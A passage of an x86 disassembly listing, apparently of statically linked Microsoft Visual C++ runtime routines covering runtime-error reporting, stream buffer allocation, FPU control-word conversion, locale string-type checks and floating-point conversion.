		call	sub_414FB0
		pop	ecx
		pop	ecx


loc_41B2BF:				; CODE XREF: sub_41B235+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_413E90
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41B302
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413E90
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_415140
		add	esp, 10h


loc_41B302:				; CODE XREF: sub_41B235+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_414FB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_414FC0
		lea	eax, [ebp+var_A0]
		push	offset asc_41FB38 ; "\n\n"
		push	eax
		call	sub_414FC0
		push	off_437E1C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_414FC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41CA11
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41B385
; ---------------------------------------------------------------------------


loc_41B35F:				; CODE XREF: sub_41B235+3Cj
					; sub_41B235+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_437E1C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_413E90
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_41F034	; GetStdHandle
		push	eax
		call	ds:dword_41F054	; WriteFile


loc_41B385:				; CODE XREF: sub_41B235+2Ej
					; sub_41B235+59j ...
		pop	esi
		leave
		retn
sub_41B235	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B388	proc near		; CODE XREF: sub_415F50+6Cp
					; sub_41991B+32p ...

arg_0		= dword	ptr  4

		inc	dword_7423EC
		push	1000h
		call	sub_413F0B
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41B3B1
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41B3C2
; ---------------------------------------------------------------------------


loc_41B3B1:				; CODE XREF: sub_41B388+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41B3C2:				; CODE XREF: sub_41B388+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41B388	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3CC	proc near		; CODE XREF: sub_415F50+61p
					; sub_41A891+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_743640
		jb	short loc_41B3DB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B3DB:				; CODE XREF: sub_41B3CC+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_743540[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41B3CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3F2	proc near		; DATA XREF: .data:0042101Co
		mov	eax, dword_743520
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41B406
		mov	eax, 200h
		jmp	short loc_41B40C
; ---------------------------------------------------------------------------


loc_41B406:				; CODE XREF: sub_41B3F2+Bj
		cmp	eax, esi
		jge	short loc_41B411
		mov	eax, esi


loc_41B40C:				; CODE XREF: sub_41B3F2+12j
		mov	dword_743520, eax


loc_41B411:				; CODE XREF: sub_41B3F2+16j
		push	4
		push	eax
		call	sub_41CA9A
		pop	ecx
		mov	dword_74251C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41B445
		push	4
		push	esi
		mov	dword_743520, esi
		call	sub_41CA9A
		pop	ecx
		mov	dword_74251C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41B445
		push	1Ah
		call	sub_415F07
		pop	ecx


loc_41B445:				; CODE XREF: sub_41B3F2+30j
					; sub_41B3F2+49j
		xor	ecx, ecx
		mov	eax, offset off_437EA8


loc_41B44C:				; CODE XREF: sub_41B3F2+6Ej
		mov	edx, dword_74251C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_438128
		jl	short loc_41B44C
		xor	edx, edx
		mov	ecx, offset dword_437EB8


loc_41B469:				; CODE XREF: sub_41B3F2+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_743540[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B486
		test	eax, eax
		jnz	short loc_41B489


loc_41B486:				; CODE XREF: sub_41B3F2+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41B489:				; CODE XREF: sub_41B3F2+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_437F18
		jl	short loc_41B469
		pop	esi
		retn
sub_41B3F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B497	proc near		; DATA XREF: .data:0042102Co

; FUNCTION CHUNK AT 0041CB17 SIZE 00000058 BYTES

		call	sub_4198A5
		cmp	byte_74226C, 0
		jz	short locret_41B4AA
		jmp	loc_41CB17
; ---------------------------------------------------------------------------

locret_41B4AA:				; CODE XREF: sub_41B497+Cj
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4AB	proc near		; CODE XREF: sub_416065+2D4p
					; sub_416065+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41B4B7
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B4B7:				; CODE XREF: sub_41B4AB+8j
		cmp	dword_7422B4, 0
		jnz	short loc_41B4D2
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41B504
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B4D2:				; CODE XREF: sub_41B4AB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4379BC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_7422C4
		call	ds:dword_41F10C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41B504
		cmp	[ebp+arg_0], 0
		jz	short loc_41B511


loc_41B504:				; CODE XREF: sub_41B4AB+1Ej
					; sub_41B4AB+51j
		mov	dword_74222C, 2Ah
		or	eax, 0FFFFFFFFh


loc_41B511:				; CODE XREF: sub_41B4AB+57j
		pop	ebp
		retn
sub_41B4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B513	proc near		; CODE XREF: sub_41686F+5Ep
					; sub_41A452+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41FB78
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_7423F0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41B582
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_41F868
		push	esi
		call	ds:dword_41F028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41B560
		mov	eax, esi
		jmp	short loc_41B57D
; ---------------------------------------------------------------------------


loc_41B560:				; CODE XREF: sub_41B513+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_438A0C
		push	esi
		push	ebx
		call	ds:off_41F02C
		test	eax, eax
		jz	loc_41B648
		push	2
		pop	eax


loc_41B57D:				; CODE XREF: sub_41B513+4Bj
		mov	dword_7423F0, eax


loc_41B582:				; CODE XREF: sub_41B513+2Fj
		cmp	eax, 2
		jnz	short loc_41B5AB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41B593
		mov	eax, dword_7422B4


loc_41B593:				; CODE XREF: sub_41B513+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:off_41F02C
		jmp	loc_41B64A
; ---------------------------------------------------------------------------


loc_41B5AB:				; CODE XREF: sub_41B513+72j
		cmp	eax, 1
		jnz	loc_41B648
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41B5C1
		mov	eax, dword_7422C4
		mov	[ebp+arg_10], eax


loc_41B5C1:				; CODE XREF: sub_41B513+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_41F110	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41B648
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_413890
		add	esp, 0Ch
		jmp	short loc_41B617
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41B617:				; CODE XREF: sub_41B513+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41B648
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_41F110	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41B648
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_41F028	; GetStringTypeW
		jmp	short loc_41B64A
; ---------------------------------------------------------------------------


loc_41B648:				; CODE XREF: sub_41B513+61j
					; sub_41B513+9Bj ...
		xor	eax, eax


loc_41B64A:				; CODE XREF: sub_41B513+93j
					; sub_41B513+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B513	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B65C	proc near		; CODE XREF: sub_417A2F+52p
		xor	eax, eax
		retn
sub_41B65C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B65F	proc near		; CODE XREF: sub_41B694+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41B6AA
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41B73C
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B65F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B694	proc near		; CODE XREF: sub_417D1B+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41B65F
		pop	ecx
		pop	ecx
		retn
sub_41B694	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6AA	proc near		; CODE XREF: sub_41B65F+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41B6BB
		push	10h
		pop	eax


loc_41B6BB:				; CODE XREF: sub_41B6AA+Cj
		test	bl, 4
		jz	short loc_41B6C2
		or	al, 8


loc_41B6C2:				; CODE XREF: sub_41B6AA+14j
		test	bl, 8
		jz	short loc_41B6C9
		or	al, 4


loc_41B6C9:				; CODE XREF: sub_41B6AA+1Bj
		test	bl, 10h
		jz	short loc_41B6D0
		or	al, 2


loc_41B6D0:				; CODE XREF: sub_41B6AA+22j
		test	bl, 20h
		jz	short loc_41B6D7
		or	al, 1


loc_41B6D7:				; CODE XREF: sub_41B6AA+29j
		test	bl, 2
		jz	short loc_41B6E1
		or	eax, 80000h


loc_41B6E1:				; CODE XREF: sub_41B6AA+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41B719
		cmp	edx, 400h
		jz	short loc_41B716
		cmp	edx, 800h
		jz	short loc_41B712
		cmp	edx, esi
		jnz	short loc_41B719
		or	eax, edi
		jmp	short loc_41B719
; ---------------------------------------------------------------------------


loc_41B712:				; CODE XREF: sub_41B6AA+5Ej
		or	eax, ebp
		jmp	short loc_41B719
; ---------------------------------------------------------------------------


loc_41B716:				; CODE XREF: sub_41B6AA+56j
		or	ah, 1


loc_41B719:				; CODE XREF: sub_41B6AA+4Ej
					; sub_41B6AA+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41B729
		cmp	ecx, ebp
		jnz	short loc_41B72E
		or	eax, 10000h
		jmp	short loc_41B72E
; ---------------------------------------------------------------------------


loc_41B729:				; CODE XREF: sub_41B6AA+72j
		or	eax, 20000h


loc_41B72E:				; CODE XREF: sub_41B6AA+76j
					; sub_41B6AA+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41B73B
		or	eax, 40000h

locret_41B73B:				; CODE XREF: sub_41B6AA+8Aj
		retn
sub_41B6AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B73C	proc near		; CODE XREF: sub_41B65F+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41B74C
		push	1
		pop	eax


loc_41B74C:				; CODE XREF: sub_41B73C+Bj
		test	bl, 8
		jz	short loc_41B753
		or	al, 4


loc_41B753:				; CODE XREF: sub_41B73C+13j
		test	bl, 4
		jz	short loc_41B75A
		or	al, 8


loc_41B75A:				; CODE XREF: sub_41B73C+1Aj
		test	bl, 2
		jz	short loc_41B761
		or	al, 10h


loc_41B761:				; CODE XREF: sub_41B73C+21j
		test	bl, 1
		jz	short loc_41B768
		or	al, 20h


loc_41B768:				; CODE XREF: sub_41B73C+28j
		test	ebx, 80000h
		jz	short loc_41B772
		or	al, 2


loc_41B772:				; CODE XREF: sub_41B73C+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41B79F
		cmp	ecx, 100h
		jz	short loc_41B79C
		cmp	ecx, esi
		jz	short loc_41B797
		cmp	ecx, edx
		jnz	short loc_41B79F
		or	ah, 0Ch
		jmp	short loc_41B79F
; ---------------------------------------------------------------------------


loc_41B797:				; CODE XREF: sub_41B73C+50j
		or	ah, 8
		jmp	short loc_41B79F
; ---------------------------------------------------------------------------


loc_41B79C:				; CODE XREF: sub_41B73C+4Cj
		or	ah, 4


loc_41B79F:				; CODE XREF: sub_41B73C+44j
					; sub_41B73C+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41B7B5
		cmp	ecx, 10000h
		jnz	short loc_41B7B7
		or	eax, esi
		jmp	short loc_41B7B7
; ---------------------------------------------------------------------------


loc_41B7B5:				; CODE XREF: sub_41B73C+6Bj
		or	eax, edx


loc_41B7B7:				; CODE XREF: sub_41B73C+73j
					; sub_41B73C+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41B7C4
		or	ah, 10h

locret_41B7C4:				; CODE XREF: sub_41B73C+83j
		retn
sub_41B73C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7C5	proc near		; CODE XREF: sub_41B864+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41B80A
		inc	esi
		cmp	esi, 3
		jge	short loc_41B805
		lea	eax, [eax+esi*4]


loc_41B7F7:				; CODE XREF: sub_41B7C5+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41B80A
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41B7F7


loc_41B805:				; CODE XREF: sub_41B7C5+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: sub_41B7C5+27j
					; sub_41B7C5+35j
		xor	eax, eax
		pop	esi
		retn
sub_41B7C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B80E	proc near		; CODE XREF: sub_41B864+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41CB6F
		add	esp, 0Ch
		dec	esi
		js	short loc_41B860
		lea	edi, [ebx+esi*4]


loc_41B847:				; CODE XREF: sub_41B80E+50j
		test	eax, eax
		jz	short loc_41B860
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41CB6F
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41B847


loc_41B860:				; CODE XREF: sub_41B80E+34j
					; sub_41B80E+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B80E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B864	proc near		; CODE XREF: sub_41B9BF+81p
					; sub_41B9BF+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41B8C8
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41B7C5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B8C5
		push	edi
		push	[ebp+arg_0]
		call	sub_41B80E
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41B8C5:				; CODE XREF: sub_41B864+51j
		mov	eax, [ebp+arg_4]


loc_41B8C8:				; CODE XREF: sub_41B864+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41B8E8
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41B8E8:				; CODE XREF: sub_41B864+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B864	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8F0	proc near		; CODE XREF: sub_41B9BF+75p
					; sub_41B9BF+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41B8FE:				; CODE XREF: sub_41B8F0+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41B8FE
		pop	esi
		retn
sub_41B8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B90B	proc near		; CODE XREF: sub_41B9BF+5Fp
					; sub_41B9BF+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41B90B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B917	proc near		; CODE XREF: sub_41B9BF+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41B91D:				; CODE XREF: sub_41B917+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41B92F
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41B91D
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41B92F:				; CODE XREF: sub_41B917+9j
		xor	eax, eax
		retn
sub_41B917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B932	proc near		; CODE XREF: sub_41B9BF+C0p
					; sub_41B9BF+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41B968:				; CODE XREF: sub_41B932+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41B968
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41B99A:				; CODE XREF: sub_41B932+86j
		cmp	ebx, edi
		jl	short loc_41B9AD
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41B9B4
; ---------------------------------------------------------------------------


loc_41B9AD:				; CODE XREF: sub_41B932+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41B9B4:				; CODE XREF: sub_41B932+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41B99A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B932	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9BF	proc near		; CODE XREF: sub_41BB2B+Dp
					; sub_41BB41+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41BA2C
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41B917
		test	eax, eax
		pop	ecx
		jnz	loc_41BAEB
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B90B
		pop	ecx


loc_41BA24:				; CODE XREF: sub_41B9BF+E4j
		push	2


loc_41BA26:				; CODE XREF: sub_41B9BF+110j
		pop	eax
		jmp	loc_41BAED
; ---------------------------------------------------------------------------


loc_41BA2C:				; CODE XREF: sub_41B9BF+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41B8F0
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B864
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BA4D
		inc	ebx


loc_41BA4D:				; CODE XREF: sub_41B9BF+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41BA65
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B90B
		pop	ecx
		jmp	short loc_41BAA1
; ---------------------------------------------------------------------------


loc_41BA65:				; CODE XREF: sub_41B9BF+98j
		cmp	ebx, eax
		jg	short loc_41BAA8
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B8F0
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41B932
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B864
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B932
		add	esp, 20h


loc_41BAA1:				; CODE XREF: sub_41B9BF+A4j
		xor	esi, esi
		jmp	loc_41BA24
; ---------------------------------------------------------------------------


loc_41BAA8:				; CODE XREF: sub_41B9BF+A8j
		cmp	ebx, [edi]
		jl	short loc_41BAD4
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B90B
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41B932
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41BA26
; ---------------------------------------------------------------------------


loc_41BAD4:				; CODE XREF: sub_41B9BF+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41B932
		pop	ecx
		pop	ecx


loc_41BAEB:				; CODE XREF: sub_41B9BF+55j
		xor	eax, eax


loc_41BAED:				; CODE XREF: sub_41B9BF+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41BB1C
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41BB26
; ---------------------------------------------------------------------------


loc_41BB1C:				; CODE XREF: sub_41B9BF+14Ej
		cmp	edi, 20h
		jnz	short loc_41BB26
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41BB26:				; CODE XREF: sub_41B9BF+15Bj
					; sub_41B9BF+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB2B	proc near		; CODE XREF: sub_41BB57+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438130
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B9BF
		add	esp, 0Ch
		retn
sub_41BB2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB41	proc near		; CODE XREF: sub_41BB84+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438148
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B9BF
		add	esp, 0Ch
		retn
sub_41BB41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


